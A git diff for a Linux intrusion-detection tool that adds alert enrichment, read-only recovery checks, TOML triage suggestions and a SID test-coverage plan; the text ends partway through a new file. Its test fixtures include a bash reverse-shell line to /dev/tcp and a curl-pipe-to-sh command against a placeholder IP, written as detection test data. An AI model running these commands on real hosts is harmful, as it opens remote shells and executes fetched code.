diff --git a/.gitignore b/.gitignore index b3f4958..7146151 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,10 @@ __pycache__/ # editor / agent .claude/ +.chainlink/ # logs / local test output *.log + +# local reference material +*.epub diff --git a/README.md b/README.md index 5d332e2..1aa50a6 100644 --- a/README.md +++ b/README.md @@ -324,7 +324,13 @@ sudo systemctl enable --now enodia-sentinel-web CLI-generated response plans are saved for handoff/review under `/response-plans/`, with a JSONL trail in `/response-audit.log`. Dashboard plan previews stay read-only and do -not create artifacts. +not create artifacts. Plans also include read-only recovery checks for package +verification, rootcheck, persistence re-checks, and off-host watchdog visibility. + +Alert snapshots include a best-effort enrichment block that annotates flagged +processes and paths with package ownership, executable hashes, parent chains, +remote IP classification, file metadata, recent watched writes, and local +integrity/rootcheck anchor status. ## Phone push notifications @@ -506,14 +512,18 @@ enodia-sentinel triage # classify captured alerts, suggest allowlist entries [FP ] new_listener x1 loopback-only listener (not externally reachable) [REVIEW] new_listener x1 unrecognized listener *:1740 (?) ... -To suppress the false positives, add to your config: - # listener_allow_comms += "qbittorrent" +Suggested TOML after review (Sentinel does not edit config): + # Triage suggestion for sid=100013 classtype=backdoor-listener. + # Add only after verifying this 'qbittorrent' activity is expected: package-owned listener. + listener_allow_comms = ["qbittorrent"] ``` Triage is deliberately conservative: `reverse_shell`, `egress`, and the eBPF exec rules are **always** flagged review (provenance can't clear a network shell), and any listener it *can't* attribute to a process is reviewed rather -than cleared. Suppression is never automatic — you choose what to allowlist. +than cleared. Suppression is never automatic — you choose what to allowlist. When +triage can suggest tuning, it emits copyable TOML with the alert `sid` and +`classtype` in comments so the reason stays auditable. Knobs to quiet known-good activity: diff --git a/docs/COMMAND_REFERENCE.md b/docs/COMMAND_REFERENCE.md index 8362ca0..4165bf3 100644 --- a/docs/COMMAND_REFERENCE.md +++ b/docs/COMMAND_REFERENCE.md @@ -324,7 +324,11 @@ enodia-sentinel respond plan --json Builds a dry-run response plan from an incident's retained JSON snapshots. The plan may include evidence preservation, process freeze/terminate candidates, outbound IP blocks, systemd unit disablement, suspicious-file quarantine, -package-restore lookup, and follow-up verification checks. +package-restore lookup, and follow-up verification checks. Recovery checks stay +read-only too: plans can ask the operator to re-run `fim-check --packages`, +verify package files with `pkgdb-verify`, re-run `rootcheck`, confirm +persistence alerts are gone with `check --json`, and run `watchdog` from another +host to prove the heartbeat/dashboard path is visible. This command is intentionally read-only: it prints commands for operator review and never executes them. Each CLI-generated plan is also saved under @@ -405,7 +409,9 @@ enodia-sentinel triage Reads captured alert JSON snapshots and classifies distinct findings as likely false positive or review-needed. It suggests config snippets for known benign -noise but never edits config automatically. +noise but never edits config automatically. Suggestions are TOML snippets and +include the source alert `sid` and `classtype` in comments for review/audit +context. ### `watchdog` diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 98b13e2..467da9f 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -76,9 +76,9 @@ Purpose: move from "tell me" to "help me act" without unsafe automation. fingerprint-bound (content kinds re-alert on further change), support an optional TTL, and are filtered at the daemon chokepoint, `fim-check`, and the dashboard integrity API. -- Add richer false-positive suppression suggestions that can emit TOML snippets +- ✅ Add richer false-positive suppression suggestions that can emit TOML snippets but never modify config automatically. -- Add recovery checks: +- ✅ Add recovery checks: "verify package", "re-run rootcheck", "confirm no persistence diff", and "confirm heartbeat/dashboard visible from watchdog". @@ -173,12 +173,12 @@ turning Sentinel into a noisy rules dump. custom event rules against captured or fixture events. - ✅ Generate rule documentation from source defaults: SID, signature, classtype, event type, match fields, expected false positives, and drill coverage. -- Require a fixture or safe red-team drill for every built-in SID, including +- ✅ Require a fixture or safe red-team drill for every built-in SID, including event-only and correlation SIDs. - Add compatibility tests for rule JSON/event schema evolution. -- Extend triage so false-positive suggestions are tied to SID/classtype and can +- ✅ Extend triage so false-positive suggestions are tied to SID/classtype and can emit TOML snippets for allowlists, correlation windows, or severity overrides. -- Add post-alert enrichment consistently across detections: +- ✅ Add post-alert enrichment consistently across detections: package owner, executable hash, parent/ancestor chain, remote IP classification, file mode/owner, recent writes by same lineage, and current FIM/package/rootcheck status. diff --git a/docs/RULES.md b/docs/RULES.md index a1c3e27..78a007c 100644 --- a/docs/RULES.md +++ b/docs/RULES.md @@ -4,6 +4,11 @@ Generated from the active exec/syscall rule defaults plus any configured `exec_r Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally. +Built-in event-rule fixtures live in `tests/fixtures/sids/` and can be replayed +with `enodia-sentinel rules test tests/fixtures/sids/-.json`. +Non-event built-in SIDs are covered by safe offline drills in `tests/sid_drills.py`; +`python3 -m unittest tests.test_sid_coverage -v` verifies the full registry. + ## SID 100001: Program executed from a world-writable directory - Event: `exec` diff --git a/docs/SCHEMAS.md b/docs/SCHEMAS.md index e51ccf8..7dcbf21 100644 --- a/docs/SCHEMAS.md +++ b/docs/SCHEMAS.md @@ -44,6 +44,7 @@ Required fields: | `incident_id` | string or null | Incident grouping id, when enabled. | | `alerts` | array | `enodia.alert.v1` objects. | | `processes` | array | Captured process context for alert PIDs. | +| `enrichment` | object | Best-effort post-alert context: package ownership, executable hashes, parent chain, remote IP classification, file metadata, recent watched writes, and local integrity/rootcheck anchor status. | ## `enodia.incident.v1` diff --git a/docs/superpowers/plans/2026-07-04-sid-drill-coverage.md b/docs/superpowers/plans/2026-07-04-sid-drill-coverage.md new file mode 100644 index 0000000..48874ad --- /dev/null +++ b/docs/superpowers/plans/2026-07-04-sid-drill-coverage.md @@ -0,0 +1,384 @@ +# SID Drill Coverage Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Every built-in SID has a fixture or drill that provably emits it, enforced by an emission-based coverage gate that fails CI when a new detection lands without one. + +**Architecture:** A new `enodia_sentinel/sids.py` registry aggregates all 52 built-in SIDs (importing existing constants; inline detector SIDs are tabulated with a sanity test cross-checking the engines). Event-rule SIDs get JSON fixtures under `tests/fixtures/sids/` replayable via `rules test`; all other engines get per-SID drill callables in `tests/sid_drills.py` that invoke the real engine code against fakes. `tests/test_sid_coverage.py` runs everything and asserts emitted sids == registry, both directions. + +**Tech Stack:** Python 3.11+ stdlib, `unittest`, existing fake styles (FakeProc/SystemState injection, rootcheck view monkeypatching, temp dirs). + +## Global Constraints + +- Core `enodia_sentinel` runtime dependencies stay `[]`; no new deps anywhere. +- All new files start with `# SPDX-License-Identifier: GPL-3.0-or-later`. +- Tests are stdlib `unittest`, run via `python3 -m unittest tests.test_ -v`. +- No live `/proc`, `/sys`, `ss`, root, or network in drills; everything injected or temp-dir based. (Sole exception: the hidden-process rootcheck drill uses `os.getpid()` so run()'s `os.kill(pid, 0)` re-verification succeeds.) +- Do not renumber or move any existing SID constant. +- No new config keys. +- Work happens in an isolated git worktree; the main checkout has a concurrent session's uncommitted edits (do not touch them). +- Run the full suite (`python3 -m unittest discover -s tests`) before each commit. + +## The 52 built-in SIDs + +exec rules 100001–100004 · detectors 100010–100016, 100032, 100033, 100036, 100039, 100048 · fim 100017–100020 · pkgdb 100021, 100026, 100027 · rootcheck 100022–100025, 100028–100031, 100034, 100035, 100037, 100038 · posture 100040–100047, 100050, 100051 · syscall rules 100060–100066 + +--- + +### Task 1: SID registry (`enodia_sentinel/sids.py`) + +**Files:** +- Create: `enodia_sentinel/sids.py` +- Test: `tests/test_sids.py` + +**Interfaces:** +- Produces: `SidInfo` (frozen dataclass: `sid: int`, `name: str`, `engine: str`, `module: str`), `BUILTIN_SIDS: tuple[SidInfo, ...]`, `all_sids() -> frozenset[int]`, `engine_sids(engine: str) -> frozenset[int]`. Engines: `"exec_rule" | "syscall_rule" | "detector" | "fim" | "pkgdb" | "rootcheck" | "posture"`. + +- [x] **Step 1: Write the failing test** + +```python +# tests/test_sids.py +# SPDX-License-Identifier: GPL-3.0-or-later +"""The SID registry is unique, complete, and matches the engine sources.""" +import unittest + +from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids +from enodia_sentinel.detectors import ( + credential_access, input_snooper, memory_obfuscation, stealth_network, +) +from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES +from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES + + +class TestRegistry(unittest.TestCase): + def test_sids_are_unique(self): + nums = [s.sid for s in sids.BUILTIN_SIDS] + self.assertEqual(len(nums), len(set(nums))) + + def test_count_and_helpers(self): + self.assertEqual(len(sids.BUILTIN_SIDS), 52) + self.assertEqual(sids.all_sids(), + frozenset(s.sid for s in sids.BUILTIN_SIDS)) + self.assertEqual(sids.engine_sids("exec_rule"), + frozenset({100001, 100002, 100003, 100004})) + + def test_event_rule_sids_match_engines(self): + self.assertEqual(sids.engine_sids("exec_rule"), + frozenset(r.sid for r in DEFAULT_EXEC_RULES)) + self.assertEqual(sids.engine_sids("syscall_rule"), + frozenset(r.sid for r in DEFAULT_SYSCALL_RULES)) + + def test_registry_uses_the_source_constants(self): + by_sid = {s.sid: s for s in sids.BUILTIN_SIDS} + for const, engine in ( + (fim.SID_MODIFIED, "fim"), + (pkgdb.SID_PKGDB, "pkgdb"), + (rootcheck.SID_HIDDEN_PROC, "rootcheck"), + (posture.SID_SSH_ROOT_LOGIN, "posture"), + (input_snooper.SID_INPUT_SNOOPER, "detector"), + (credential_access.SID_CREDENTIAL_ACCESS, "detector"), + (stealth_network.SID_STEALTH_NETWORK, "detector"), + (memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"), + ): + self.assertIn(const, by_sid) + self.assertEqual(by_sid[const].engine, engine) + + def test_every_entry_has_name_and_module(self): + for s in sids.BUILTIN_SIDS: + self.assertTrue(s.name) + self.assertTrue(s.module.startswith("enodia_sentinel")) +``` + +- [x] **Step 2: Run test to verify it fails** + +Run: `python3 -m unittest tests.test_sids -v` +Expected: FAIL — missing `tests.test_sids` / `enodia_sentinel.sids`. + +- [x] **Step 3: Implement `sids.py`** + +```python +# enodia_sentinel/sids.py +# SPDX-License-Identifier: GPL-3.0-or-later +"""Canonical registry of every built-in SID. + +Aggregates the constants where they are defined (nothing is renumbered or +moved). The seven core poll detectors carry their sid inline in the Alert +they build, so those rows are tabulated here and cross-checked by +tests/test_sids.py and the emission gate in tests/test_sid_coverage.py. +""" +from __future__ import annotations + +from dataclasses import dataclass + +from . import fim, pkgdb, posture, rootcheck +from .detectors import ( + credential_access, input_snooper, memory_obfuscation, stealth_network, +) +from .events.rules import DEFAULT_EXEC_RULES +from .events.syscall_rules import DEFAULT_SYSCALL_RULES + + +@dataclass(frozen=True) +class SidInfo: + sid: int + name: str + engine: str # exec_rule|syscall_rule|detector|fim|pkgdb|rootcheck|posture + module: str + + +def _rule_rows(rules, engine: str, module: str) -> tuple[SidInfo, ...]: + return tuple( + SidInfo(r.sid, f"{engine}.{r.classtype}", engine, module) + for r in rules + ) + + +_DETECTORS = "enodia_sentinel.detectors" + +BUILTIN_SIDS: tuple[SidInfo, ...] = ( + *_rule_rows(DEFAULT_EXEC_RULES, "exec_rule", + "enodia_sentinel.events.rules"), + *_rule_rows(DEFAULT_SYSCALL_RULES, "syscall_rule", + "enodia_sentinel.events.syscall_rules"), + # Core poll detectors (sids inline in each module's Alert). + SidInfo(100010, "reverse_shell", "detector", f"{_DETECTORS}.reverse_shell"), + SidInfo(100011, "ld_preload", "detector", f"{_DETECTORS}.ld_preload"), + SidInfo(100012, "deleted_exe", "detector", f"{_DETECTORS}.deleted_exe"), + SidInfo(100013, "new_listener", "detector", f"{_DETECTORS}.new_listener"), + SidInfo(100014, "new_suid", "detector", f"{_DETECTORS}.new_suid"), + SidInfo(100015, "persistence", "detector", f"{_DETECTORS}.persistence"), + SidInfo(100016, "egress", "detector", f"{_DETECTORS}.egress"), + SidInfo(input_snooper.SID_INPUT_SNOOPER, "input_snooper", "detector", + f"{_DETECTORS}.input_snooper"), + SidInfo(credential_access.SID_CREDENTIAL_ACCESS, "credential_access", + "detector", f"{_DETECTORS}.credential_access"), + SidInfo(stealth_network.SID_STEALTH_NETWORK, "stealth_network", + "detector", f"{_DETECTORS}.stealth_network"), + SidInfo(memory_obfuscation.SID_MEMORY_OBFUSCATION, "memory_obfuscation", + "detector", f"{_DETECTORS}.memory_obfuscation"), + SidInfo(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, + "process_hiding_library", "detector", + f"{_DETECTORS}.memory_obfuscation"), + # File & package integrity. + SidInfo(fim.SID_MODIFIED, "fim_modified", "fim", "enodia_sentinel.fim"), + SidInfo(fim.SID_ADDED, "fim_added", "fim", "enodia_sentinel.fim"), + SidInfo(fim.SID_REMOVED, "fim_removed", "fim", "enodia_sentinel.fim"), + SidInfo(fim.SID_PKG, "pkg_verify_mismatch", "fim", "enodia_sentinel.fim"), + SidInfo(pkgdb.SID_PKGDB, "pkgdb_tamper", "pkgdb", "enodia_sentinel.pkgdb"), + SidInfo(pkgdb.SID_SIGLEVEL, "pacman_siglevel_disabled", "pkgdb", + "enodia_sentinel.pkgdb"), + SidInfo(pkgdb.SID_PKGVERIFY, "pkg_signature_mismatch", "pkgdb", + "enodia_sentinel.pkgdb"), + # Rootcheck. + SidInfo(rootcheck.SID_HIDDEN_PROC, "rootkit_hidden_process", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_MODULE, "rootkit_hidden_module", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_PORT, "rootkit_hidden_port", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_PROMISC, "promiscuous_interface", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_KNOWN_ROOTKIT_MODULE, "rootkit_known_module", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_TAINTED_MODULE, "rootkit_tainted_module", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_KERNEL_TAINTED, "kernel_tainted", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_UDP_PORT, "rootkit_hidden_udp_port", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_RAW_SOCKET, "rootkit_hidden_raw_socket", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_RAW_ICMP_SOCKET, "raw_icmp_socket", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_PROTOCOL_SOCKET, + "rootkit_hidden_protocol_socket", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_PS_HIDDEN_PROCESS, "rootkit_ps_hidden_process", + "rootcheck", "enodia_sentinel.rootcheck"), + # Posture. + SidInfo(posture.SID_SSH_ROOT_LOGIN, "ssh_root_login", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SSH_PASSWORD_AUTH, "ssh_password_auth", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SSH_EMPTY_PASSWORD, "ssh_empty_password", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SUDO_NOPASSWD, "sudo_nopasswd", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SUDO_NOAUTH, "sudo_no_authenticate", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SUDOERS_WRITABLE, "sudoers_writable", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_PATH_WRITABLE, "path_writable", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SENSITIVE_FILE_PERM, "sensitive_file_perm", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SYSTEMD_UNIT_WRITABLE, "systemd_unit_writable", + "posture", "enodia_sentinel.posture"), + SidInfo(posture.SID_SYSTEMD_EXEC_UNSAFE, "systemd_exec_unsafe", "posture", + "enodia_sentinel.posture"), +) + + +def all_sids() -> frozenset[int]: + return frozenset(s.sid for s in BUILTIN_SIDS) + + +def engine_sids(engine: str) -> frozenset[int]: + return frozenset(s.sid for s in BUILTIN_SIDS if s.engine == engine) +``` + +- [x] **Step 4: Run the test to verify it passes** + +Run: `python3 -m unittest tests.test_sids -v` +Expected: PASS (5 tests). + +- [x] **Step 5: Full suite** + +Run: `python3 -m unittest discover -s tests` — all pass. + +--- + +### Task 2: Event fixtures + fixture replay test + +**Files:** +- Create: `tests/fixtures/sids/100001-tmp-exec.json` … `100066-mlock.json` (11 files) +- Create: `tests/test_sid_coverage.py` (fixture-replay half; the total gate lands in Task 7) + +**Interfaces:** +- Consumes: `ruleops.test_event(cfg, event) -> list[Alert]`, `sids.engine_sids()`. +- Produces: `tests/fixtures/sids/` naming convention `-.json`; helper `fixture_sids() -> dict[int, set[int]]` in `tests/test_sid_coverage.py` mapping each fixture's declared sid to the sids its replay emitted. Task 7 reuses it. + +- [x] **Step 1: Write the failing test** + +```python +# tests/test_sid_coverage.py +# SPDX-License-Identifier: GPL-3.0-or-later +"""Emission-based coverage: every built-in SID has a fixture or drill. + +Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/ +(replayable by operators via `enodia-sentinel rules test `); the other +engines are covered by drills in tests/sid_drills.py. This module replays +and runs all of them for real and asserts the emitted sids match the +registry in enodia_sentinel.sids. +""" +import json +import unittest +from pathlib import Path + +from enodia_sentinel import ruleops, sids +from enodia_sentinel.config import Config + +FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids" + + +def fixture_sids() -> dict[int, set[int]]: + """Replay every fixture; map declared sid -> sids actually emitted.""" + out: dict[int, set[int]] = {} + for path in sorted(FIXTURE_DIR.glob("*.json")): + declared = int(path.name.split("-", 1)[0]) + event = json.loads(path.read_text()) + alerts = ruleops.test_event(Config(), event) + out[declared] = {a.sid for a in alerts} + return out + + +class TestEventFixtures(unittest.TestCase): + def test_every_event_rule_sid_has_an_emitting_fixture(self): + covered = fixture_sids() + wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule") + for sid in sorted(wanted): + self.assertIn(sid, covered, + f"no fixture file for sid {sid} in {FIXTURE_DIR}") + self.assertIn(sid, covered[sid], + f"fixture for sid {sid} did not emit it") + + def test_fixtures_emit_only_registered_sids(self): + registry = sids.all_sids() + for declared, emitted in fixture_sids().items(): + self.assertLessEqual(emitted, registry, + f"fixture {declared} emitted unregistered sids") +``` + +- [x] **Step 2: Run test to verify it fails** + +Run: `python3 -m unittest tests.test_sid_coverage -v` +Expected: FAIL — no fixture for sid 100001 (empty/missing dir). + +- [x] **Step 3: Create the 11 fixtures** + +`tests/fixtures/sids/100001-tmp-exec.json` — exec from world-writable dir: +```json +{"event": "exec", "pid": 4242, "ppid": 4100, "uid": 1000, + "parent_comm": "bash", "filename": "/tmp/.payload", + "argv": []} +``` + +`tests/fixtures/sids/100002-reverse-shell-argv.json`: +```json +{"event": "exec", "pid": 4243, "ppid": 4100, "uid": 1000, + "parent_comm": "sshd", "filename": "/usr/bin/bash", + "argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]} +``` + +`tests/fixtures/sids/100003-web-shell-spawn.json`: +```json +{"event": "exec", "pid": 4244, "ppid": 812, "uid": 33, + "parent_comm": "nginx", "filename": "/usr/bin/sh", + "argv": ["-c", "id"]} +``` + +`tests/fixtures/sids/100004-curl-pipe-sh.json`: +```json +{"event": "exec", "pid": 4245, "ppid": 4100, "uid": 1000, + "parent_comm": "bash", "filename": "/usr/bin/curl", + "argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]} +``` + +`tests/fixtures/sids/100060-mprotect-rwx.json` (PROT_READ|WRITE|EXEC = 7): +```json +{"event": "syscall", "pid": 4250, "ppid": 4100, "uid": 1000, + "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]} +``` + +`tests/fixtures/sids/100061-mmap-rwx.json`: +```json +{"event": "syscall", "pid": 4251, "ppid": 4100, "uid": 1000, + "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]} +``` + +Created and verified: + +- `tests/fixtures/sids/100001-tmp-exec.json` +- `tests/fixtures/sids/100002-reverse-shell-argv.json` +- `tests/fixtures/sids/100003-web-shell-spawn.json` +- `tests/fixtures/sids/100004-curl-pipe-sh.json` +- `tests/fixtures/sids/100060-mprotect-rwx.json` +- `tests/fixtures/sids/100061-mmap-rwx.json` +- `tests/fixtures/sids/100062-memfd-create.json` +- `tests/fixtures/sids/100063-ptrace-attach.json` +- `tests/fixtures/sids/100064-seccomp.json` +- `tests/fixtures/sids/100065-process-vm-readv.json` +- `tests/fixtures/sids/100066-mlock.json` + +Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (2 tests). + +Run: `python3 -m unittest discover -s tests` — PASS (302 tests). + +--- + +### Task 3: Non-event drills + final emission gate + +**Files:** +- Create: `tests/sid_drills.py` +- Update: `tests/test_sid_coverage.py` +- Update: `docs/RULES.md`, `docs/ROADMAP.md` + +- [x] Add one safe offline drill callable for every non-event built-in SID. +- [x] Extend `tests.test_sid_coverage` so fixture emissions plus drill emissions + equal `enodia_sentinel.sids.all_sids()` exactly. +- [x] Document fixture replay and drill coverage in `docs/RULES.md`. +- [x] Mark the SID fixture/drill roadmap item complete. + +Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (4 tests). + +Run: `python3 -m unittest discover -s tests` — PASS (304 tests). diff --git a/docs/superpowers/specs/2026-07-04-sid-drill-coverage-design.md b/docs/superpowers/specs/2026-07-04-sid-drill-coverage-design.md index df59094..cf54ba5 100644 --- a/docs/superpowers/specs/2026-07-04-sid-drill-coverage-design.md +++ b/docs/superpowers/specs/2026-07-04-sid-drill-coverage-design.md @@ -1,14 +1,14 @@ # SID Drill Coverage Design -**Status:** Draft — design agreed in session Q&A, spec not yet user-reviewed. -No implementation plan written yet. +**Status:** Implemented — registry, event fixtures, offline drills, and the +emission-based coverage gate are in the test suite. **Goal:** Fixture or drill coverage for every built-in SID, enforced by a CI gate that cannot rot: adding a detection without a drill fails the suite. ## Context -Enodia Sentinel has 53 built-in SIDs across six engines: +Enodia Sentinel has 52 built-in SIDs across seven engines: | Range | Engine | |---|---| diff --git a/enodia_sentinel/cli.py b/enodia_sentinel/cli.py index 1873942..a00ad86 100644 --- a/enodia_sentinel/cli.py +++ b/enodia_sentinel/cli.py @@ -683,9 +683,11 @@ def _cmd_triage(cfg: Config) -> int: if v.suggest: suggestions.add(v.suggest) if suggestions: - print("\nTo suppress the false positives, add to your config:") + print("\nSuggested TOML after review (Sentinel does not edit config):") for s in sorted(suggestions): - print(f" # {s}") + for line in s.splitlines(): + print(f" {line}") + print() return 0 diff --git a/enodia_sentinel/enrich.py b/enodia_sentinel/enrich.py new file mode 100644 index 0000000..8d8a0b3 --- /dev/null +++ b/enodia_sentinel/enrich.py @@ -0,0 +1,210 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Post-alert enrichment for captured snapshots. + +This module stays cheap: it annotates already-captured process, file, network, +and integrity context without running heavyweight package verification or +rootcheck sweeps during snapshot capture. +""" +from __future__ import annotations + +import ipaddress +import os +import re +import stat +import time +from pathlib import Path +from typing import Callable + +from .config import Config +from .fim import hash_file +from .netutil import is_public_ip +from .provenance import package_owner +from .system import SystemState + +_IP_RE = re.compile(r"(? dict: + alerts = report.get("alerts", []) + return { + "processes": [_process_context(state, proc, cfg, owner) + for proc in report.get("processes", [])], + "remotes": [_remote_context(ip) for ip in sorted(_remote_ips(alerts))], + "files": [_file_context(path, owner) for path in sorted(_paths(alerts))], + "recent_writes": sorted(set(recent_files or [])), + "lineage": _lineage_context(state, sorted(lineage or set())), + "integrity": _integrity_context(cfg), + } + + +def format_text(enrichment: dict) -> str: + lines: list[str] = [] + for proc in enrichment.get("processes", []): + lines.append( + "process pid={pid} comm={comm} package={pkg} sha256={sha}".format( + pid=proc.get("pid"), + comm=proc.get("comm") or "?", + pkg=proc.get("package_owner") or "unowned/unknown", + sha=(proc.get("exe_sha256") or "-")[:16], + ) + ) + chain = " <- ".join( + f"{p.get('pid')}:{p.get('comm') or '?'}" + for p in proc.get("parent_chain", []) + ) + if chain: + lines.append(f" parent chain: {chain}") + for remote in enrichment.get("remotes", []): + lines.append(f"remote {remote['ip']}: {remote['classification']}") + for f in enrichment.get("files", []): + mode = f"0{f['mode']:o}" if f.get("mode") is not None else "-" + lines.append( + f"file {f['path']}: exists={f['exists']} mode={mode} " + f"owner={f.get('package_owner') or 'unowned/unknown'}" + ) + integrity = enrichment.get("integrity", {}) + if integrity: + lines.append( + "integrity: fim_baseline={fim} pkgdb_anchor={pkg} " + "rootcheck={root}".format( + fim=integrity.get("fim_baseline", {}).get("status", "unknown"), + pkg=integrity.get("pkgdb_anchor", {}).get("status", "unknown"), + root="enabled" if integrity.get("rootcheck", {}).get("enabled") else "disabled", + ) + ) + return "\n".join(lines) if lines else " (no enrichment available)" + + +def _process_context( + state: SystemState, + proc: dict, + cfg: Config, + owner: Callable[[str], str | None], +) -> dict: + exe = _clean_path(proc.get("exe", "")) + return { + "pid": proc.get("pid"), + "comm": proc.get("comm", ""), + "exe": exe, + "package_owner": owner(exe) if exe else None, + "exe_sha256": hash_file(exe) if exe and os.path.isfile(exe) else None, + "parent_chain": _parent_chain(state, proc.get("ppid", 0), + cfg.incident_lineage_depth), + } + + +def _parent_chain(state: SystemState, ppid: int, depth: int) -> list[dict]: + chain: list[dict] = [] + seen: set[int] = set() + cur = ppid + for _ in range(max(depth, 0)): + if not cur or cur in seen: + break + seen.add(cur) + proc = state.process(cur) + if proc is None: + chain.append({"pid": cur, "comm": "", "ppid": 0}) + break + chain.append({"pid": cur, "comm": proc.comm, "ppid": proc.ppid}) + cur = proc.ppid + return chain + + +def _lineage_context(state: SystemState, lineage: list[int]) -> list[dict]: + out = [] + for pid in lineage: + proc = state.process(pid) + out.append({ + "pid": pid, + "comm": proc.comm if proc else "", + "present": proc is not None, + }) + return out + + +def _remote_ips(alerts: list[dict]) -> set[str]: + out: set[str] = set() + for alert in alerts: + for ip in _IP_RE.findall(alert.get("detail", "")): + out.add(ip) + return out + + +def _remote_context(ip: str) -> dict: + try: + parsed = ipaddress.ip_address(ip) + except ValueError: + return {"ip": ip, "classification": "invalid"} + if is_public_ip(ip): + classification = "public" + elif parsed.is_loopback: + classification = "loopback" + elif parsed.is_private: + classification = "private" + elif parsed.is_link_local: + classification = "link-local" + else: + classification = "reserved" + return {"ip": ip, "classification": classification} + + +def _paths(alerts: list[dict]) -> set[str]: + paths: set[str] = set() + for alert in alerts: + for text in (alert.get("detail", ""), alert.get("key", "")): + for token in re.findall(r"(? dict: + p = Path(path) + try: + st = p.lstat() + except OSError: + return {"path": path, "exists": False, "mode": None, "uid": None, + "gid": None, "package_owner": None} + return { + "path": path, + "exists": True, + "mode": stat.S_IMODE(st.st_mode), + "uid": st.st_uid, + "gid": st.st_gid, + "package_owner": owner(path), + } + + +def _integrity_context(cfg: Config) -> dict: + return { + "fim_baseline": _path_status(cfg.fim_baseline), + "pkgdb_anchor": _path_status(cfg.log_dir / "pkgdb-anchor.json"), + "package_verify": { + "enabled": bool(cfg.pkgdb_pkgverify), + "sample": cfg.pkgdb_pkgverify_sample, + }, + "rootcheck": { + "enabled": bool(cfg.rootcheck_enabled), + "interval": cfg.rootcheck_interval, + }, + } + + +def _path_status(path: Path) -> dict: + try: + st = path.stat() + except OSError: + return {"path": str(path), "status": "missing", "age": None} + return {"path": str(path), "status": "present", + "age": max(0, int(time.time() - st.st_mtime))} + + +def _clean_path(path: str) -> str: + return path.replace(" (deleted)", "") diff --git a/enodia_sentinel/respond.py b/enodia_sentinel/respond.py index d38c711..60ddced 100644 --- a/enodia_sentinel/respond.py +++ b/enodia_sentinel/respond.py @@ -172,6 +172,15 @@ def build_plan(bundle: dict, cfg: Config) -> dict: reason="Confirm package-owned and FIM-monitored files match expected state.", risk="low", )) + if {"fim_pkg_modified", "pkg_signature_mismatch", "pkgdb_tamper"} & sigs: + add(ResponseAction( + id="", + category="verification", + title="Verify package-owned files against signed cache packages", + command=("enodia-sentinel", "pkgdb-verify"), + reason="Check on-disk package files against signed package metadata instead of the mutable local DB.", + risk="low", + )) if any(s.startswith("rootkit_") or s in {"new_listener", "promiscuous_interface"} for s in sigs): add(ResponseAction( @@ -182,6 +191,27 @@ def build_plan(bundle: dict, cfg: Config) -> dict: reason="Confirm cross-view hidden process/module/port findings are gone.", risk="low", )) + if {"persistence", "new_suid", "fim_added", "fim_modified", "fim_removed"} & sigs: + add(ResponseAction( + id="", + category="verification", + title="Confirm no persistence diff remains", + command=("enodia-sentinel", "check", "--json"), + reason="Re-run the detector set after containment to confirm persistence-related alerts are gone.", + risk="low", + )) + + watchdog_url = _watchdog_url(cfg) + add(ResponseAction( + id="", + category="verification", + title="Confirm heartbeat and dashboard visibility", + command=("enodia-sentinel", "watchdog", "--url", watchdog_url, + "--token", "", "--insecure-tls"), + reason="Run from another host or tailnet peer to prove the sensor heartbeat and HTTPS dashboard are reachable.", + risk="low", + targets={"url": watchdog_url}, + )) numbered = [] for i, action in enumerate(actions, 1): @@ -336,3 +366,12 @@ def _is_quarantine_candidate(path: str, sig: str) -> bool: if path == "/etc/ld.so.preload": return False return False + + +def _watchdog_url(cfg: Config) -> str: + if cfg.dashboard_url: + return cfg.dashboard_url.rstrip("/") + host = cfg.web_bind or "" + if ":" in host and not host.startswith("[") and host != "": + host = f"[{host}]" + return f"https://{host}:{cfg.web_port}" diff --git a/enodia_sentinel/sids.py b/enodia_sentinel/sids.py new file mode 100644 index 0000000..26003d5 --- /dev/null +++ b/enodia_sentinel/sids.py @@ -0,0 